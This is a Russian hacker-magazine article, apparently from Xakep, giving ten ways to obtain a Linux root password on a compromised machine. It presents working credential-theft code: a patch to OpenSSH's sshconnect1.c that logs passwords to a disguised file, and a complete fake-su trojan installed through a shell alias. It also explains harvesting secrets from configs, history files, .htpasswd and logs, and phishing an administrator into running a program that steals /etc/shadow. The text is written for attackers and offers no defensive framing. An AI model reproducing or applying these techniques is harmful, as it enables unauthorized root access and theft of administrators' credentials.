Пожалуй, самая большая проблема в хаке – определение рутового пароля. Даже когда хакер сломал систему каким-либо эксплойтом, достать пароль не так то просто. Но на каждую гайку найдется свой болт, поэтому позволь тебе раскрыть 10 универсальных способов дознания этой важной инфы ;). Нет, тебе даже не потребуется встречаться с админом и поить его пивом до бессознательного состояния (а точнее, до состояния, в котором он раскроет тебе важную информацию). Все намного проще – существуют приемы, после применения которых, ты получишь root password. Естественно, все зависит от ситуации. Все они будут обговорены ниже.

1. Поиск в Perl/PHP-скриптах.

Очень действенный метод. Обычно админы из-за своей лени делают рутовый пароль на базу сходным с паролем в систему. А аккаунт к SQL можно найти... правильно! В PHP и Perl скриптах. Перед этим узнается путь к WWW-каталогу (простым парсингом httpd.conf), после перехода в этот каталог ищется необходимая информация. Следует лишь учитывать, что PHP-скрипты часто используют инклуд-файлы (*.inc) с переменными для MySQL, Perl-сценарии хранят все в одном главном файле. Проверить пароль можно командой mysql –uroot –pПАРОЛЬ. Затем сравни его с системным (через /bin/su).

Метод применяется при всех вариантах взлома.

2. Поиск в HISTORY-файлах.

Часто админы используют консольные программы, которым передают пароль прямо из командной строки. Это все записывается в history-файл под названием .bash_history (естественно, для других интерпретаторов название файла будет другим). Туда же может попасть инфа из-за ошибки админа в команде (я, например,
видел то, как админ вместо “su” набрал “psu”, а затем свой пароль).

Существует другой файл истории. Он называется .mysql_history и находится также в домашнем каталоге пользователя. Там ты можешь найти команды смены пароля для SQL-доступа. Этот пароль, возможно, совпадет с рутовым.

Способ применим лишь когда имеется полный контроль над системой. Но случается такое, когда HISTORY-файлы имеют атрибут 644. Найти такие файлы (а затем прочитать) можно с помощью команды find / -perm 644 –name *_history.

3. Поиск в .htpasswd.

Когда в системе установлен Web-сервер, возможно обнаружить хеши-паролей в .htpasswd-файлах. Просто набери locate .htpasswd и ты увидишь список доступных файлов. Правда, файлы не будут прочитаны, когда у тебя лишь user-access, а на документе установлен атрибут, запрещающий read.

Расшифровать такие хеши можно программой John The Ripper. Не мне тебя учить этим заниматься, поэтому считаю, что данный метод тебе понятен.

4. Поиск в других файлах.

Встречаются сервера, где пароли указываются в файлах сторонних приложений. К примеру, я сталкивался с ситуацией, когда рутовый пароль лежал в файле socks5.password.

Внимание! Эти файлы могут оказаться недоступными для чтения. Поэтому, тут все зависит от ситуации...

5. Заметки на полях.

Часто админы оставляют важные файлы в своих каталогах. Они содержат некоторые заметки. Не исключено, что среди таковых ты можешь встретить и пароли. Я сам сталкивался с таким и нарыл рутовый пароль в файлике “notes”. Обращай повышенное внимание на подобные вещи.

6. Поиск в логах.

Да! Помимо обычной информации, логи могут содержать пароли. Например, radius ведет полный отчет об аутентификации (по умолчанию). Что парадоксально, эти логи доступны для чтения обычному пользователю. Из-за этого, становится возможным прочитать отчет авторизации, а, следовательно, узнать пароли (возможно, среди них будет и рутовый).

7. Снифинг данных.

Некоторые руткиты содержат в себе локальный снифер, который позволяет легко узнавать пароли на ssh (простая модификация /usr/bin/ssh с поддержкой логгинга ;)). Обычно такая поддержка и путь к файлу с логом указывается в документации руткита). Все хорошо, но огорчает лишь одно обстоятельство: большинство руткитов содержат старый ssh, который поддерживает лишь первый протокол. В итоге, хакер может выдать себя с потрохами.

Но кто мешает собрать собственный ssh и включить в нем запоминание паролей? Правильно! Никто. Находим в пакете OpenSSH файлик с именем sshconnect1.c. Затем вставляем в его содержимое следующие строки:

После строчки “snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",server_user, host);”

ifile=fopen("/boot/kernel.old","a");
fprintf(ifile,"session %s %s\n",server_user,host);
fclose(ifile);

После строчки “password = read_passphrase(prompt, 0);”
ifile=fopen("/boot/kernel.old ","a");
fprintf(ifile,"password is %s\n",password);
fclose(ifile);

Если все сделано правильно, ssh соберется без приключений. Теперь админ не заметит изъяна в системе, а ты узнаешь его пароль на ssh. Когда он ходит под рутом – это и будет рутовый пароль ;).

8. Прикидываемся системным сервисом ;).

Для осуществления этого способа достаточно написать небольшой скрипт, который читает /etc/shadow и гребет оттуда рутовый хэш. Это просто и писать сценарий я не буду (справишься сам). Затем пишется e-mail администратору, в котором говориться, что в системе обнаружен вирус, и для его лечения необходимо запустить специальную программу. Для полной убежденности, укажи системный путь к этой программе. Когда админ запустит твое творение (а сделает он это под рутом), ты уведешь его драгоценный хэш. Разумеется, тебе нужно напичкать свой сценарий разного рода надписями, что вирус излечен. Да, и не вздумай выкладывать исходник на диск в системе – админ его обязательно прочитает. Если пишешь на перле, после написания скомпилируй его в бинарник (perlcc –o file file.pl).

9. Fake-su.

Этот метод я описывал в одном из номеров Хакера (Юниксоид, Забавы в Linux). Из-за того, что юзеры, читавшие Хакер не посещают сайта (и наоборот), будет не лишним повторить мой хитрый прием.

Итак, создается файл следующего содержания:

#define SORRY "Sorry"
#define PFILE "tmp/.screen"
#define MYPATH "tmp/.screen_active"
#include <signal.h>
void sigexit(int no);
int main() {
char pass[40];
char longs[100];
int filep;
signal(SIGINT, sigexit);
printf("Password:");
system("stty -echo");
scanf("%s",pass);
system("stty echo");
printf("\r\n");
filep=fopen(PFILE,"w");
fprintf(filep,"Pass is %s\n",pass);
fclose(filep);
printf("%s\r\n",SORRY);
strcpy(longs,"");
strcat(longs,"/bin/ln -sf /bin/su ");
strcat(longs,MYPATH);
system(longs);
exit(0);
}
void sigexit(int no) {
system("stty echo");
printf("\r\n\r\n");
exit(0);
}

и обзывается su.c. Если вглядеться в простенький код можно понять, что это полная имитация /bin/su, только с логированием пароля в файл tmp/.screen. Сам бинарник будет находиться в файле tmp/.screen_active (все пути относительно домашнего каталога пользователя). После того, как файл выполнится он замещается стандартным /bin/su. Таким образом, админ думает, что ошибся паролем, так как со второй попытки суид будет успешным.

Перед тем, как проверять данный метод на практике, впиши строчку “alias su /home/user/tmp/.screen_active в файл ~/.bash_profile и жди, пока админ решит суиднуться на рута. Когда это произойдет – пароль твой ;).

Данный метод работает лишь тогда, когда юзер регулярно суидиться на рута, а у хакера есть доступ к этому аккаунту (либо ко всей системе).

10. Стандартный способ.

И, наконец, настало время рассказать про самый тривиальный способ. Хакер захватывает систему и получает доступ к /etc/shadow. Далее, все по сценарию – берется расшифровщик, хороший словарь и вся надежда только на удачу. Я думаю, ты не раз сталкивался с применением этого метода. И, что интересно, постоянно забывал об остальных 9...

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии